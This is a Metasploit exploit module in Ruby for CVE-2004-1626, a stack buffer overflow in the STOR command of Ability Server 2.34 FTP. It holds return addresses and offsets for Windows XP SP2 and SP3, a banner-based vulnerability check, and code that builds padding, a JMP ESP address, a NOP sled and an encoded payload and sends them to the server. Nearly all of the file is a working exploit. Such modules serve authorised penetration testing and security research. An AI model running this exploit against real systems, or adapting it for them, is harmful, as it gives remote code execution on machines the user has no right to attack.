metasploit-framework/modules/exploits/windows/ftp/ability_server_stor.rb

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Ftp
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def initialize(info = {})
super(update_info(info,
'Name' => 'Ability Server 2.34 STOR Command Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in Ability Server 2.34.
Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,
which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.
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The vulnerability has been confirmed on version 2.34 and has also been reported
in version 2.25 and 2.32. Other versions may also be affected.
},
'Author' =>
[
'muts', #Initial discovery
'Dark Eagle', #same as muts
'Peter Osterberg' #Metasploit
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2004-1626' ],
[ 'OSVDB', '11030'],
[ 'EDB', '588'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Privileged' => false,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\xff"
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP2 ENG',
{
#JMP ESP (MFC42.dll. Addr remains unchanged until a patched SP3)
'Ret' => 0x73E32ECF,
'Offset' => 966
}
],
[
'Windows XP SP3 ENG',
{
#JMP ESP (USER32.dll. Unchanged unpatched SP3 - fully pathced)
'Ret' => 0x7E429353,
'Offset' => 966
}
],
],
'DisclosureDate' => 'Oct 22 2004'
))
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register_options(
[
Opt::RPORT(21),
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]),
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ])
], self.class)
end
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def check
connect
disconnect
if banner =~ /Ability Server 2\.34/
return Exploit::CheckCode::Vulnerable
else
if banner =~ /Ability Server/
return Exploit::CheckCode::Detected
end
end
return Exploit::CheckCode::Safe
end
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def exploit
c = connect_login
return if not c
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myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']
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# Take client ip + ftp user lengths into account for EIP offset
padd_size = target['Offset'] + (13 - myhost.length) + (3 - datastore['FTPUSER'].length)
junk = rand_text_alpha(padd_size)
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sploit = junk
sploit << [target.ret].pack('V')
sploit << make_nops(32)
sploit << payload.encoded
sploit << rand_text_alpha(sploit.length)
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send_cmd(['STOR', sploit], false)
handler
disconnect
end
end